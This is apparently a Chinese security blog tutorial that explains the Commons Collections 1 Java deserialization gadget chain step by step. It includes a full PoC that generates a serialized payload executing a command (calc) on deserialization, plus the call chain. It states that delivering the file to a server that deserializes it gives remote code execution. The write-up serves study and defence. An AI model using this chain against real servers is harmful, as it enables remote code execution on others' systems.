本文最后更新于：2023年9月9日 晚上
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【java安全】CommonsCollections1
java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。
很多项目会使用到该库，可以通过相关的调用链，触发Commons Colletions 反序列化RCE漏洞
接下来我们介绍一些重要的类
这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数
我们首先看一看构造方法：
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| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
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为参数赋初值
transform()方法
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| public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}
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该方法会使用反射机制，将传入的对象input使用getClass()方法获取Class对象，然后使用getMethod()获取方法的Method对象，最后传参invoke()调用函数
那么我们就可以通过InvokerTransformer这么执行命令：
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| import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
Class runtimeClass=Class.forName("java.lang.Runtime");
Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
).transform(runtimeClass);
Object runtime=new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
).transform(m_getMethod);
Object exec=new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
).transform(runtime);
}
}
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Runtime类的getRuntime()函数是静态方法，所以使用反射不需要传入对象，传个null即可
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| public static Runtime getRuntime() {
return currentRuntime;
}
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这个类的transform()方法很简单：
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| public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
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传入什么对象，就返回什么对象
构造函数：
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| public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
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将传入的transformer数组赋值给 iTransformers 变量
再看transform()方法：(重点)
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| public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
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ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法，并且会将前一个的返回值通过object变量传给后面一个
于是我们可以构造出新的链
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| import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class ReflectionChain {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};
ChainedTransformer chain= new ChainedTransformer(transformers);
chain.transform(null);
}
}
|
至此，我们漏洞利用条件是构造出含命令的ChainedTransformer对象，然后触发transform()方法
如何才能触发呢？
我们需要看看TransformedMap类的源码：
在TransformedMap类中，存在一个checkSetValue()方法，可以调用transform()方法：
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| protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
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我们可以通过创建TransformMap对象来调用该方法，但是如何创建对象呢？
我们可以使用decorate()静态方法：
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| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
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于是，我们可以将构造的链子传入TransformedMap对象中：
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| Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);
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如何触发checkSetValue()方法？
Map是java的接口，
Map.entrySet()的返回值是一个Set集合，此集合的类型是Map.Entry
我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator
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| public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
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但是AbstractInputCheckedMapDecorator类中存在setValue()方法，可以调用checkSetValue()
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| static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
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根据继承和多态，我们知道TransformedMap类中也有setValue()方法
我们可以对outmap对象如下操作就可触发命令执行：
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| Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");
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但是目前漏洞的触发还需要调用setValue()方法，我们需要实现带有readObject()方法的类调用setValue()方法，这样就可以实现反序列化RCE了
这里需要用到AnnotationInvocationHandler类：
AnnotationInvocationHandler
AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法
构造函数：
这里先直接给出两个条件：
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
Annotation的⼦类，且其中必须含有⾄少⼀个⽅法，假设⽅法名是X
- 被
TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素
所以，在Retention有⼀个⽅法，名为value；所以，为了再满⾜第⼆个条件，我需要给Map中放⼊⼀个Key是value的元素
poc
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| import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections11 {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
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最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE
利用链
以上利用方法在jdk1.7有效，不过ysoserial中也有jdk1.8的利用方式
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| ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
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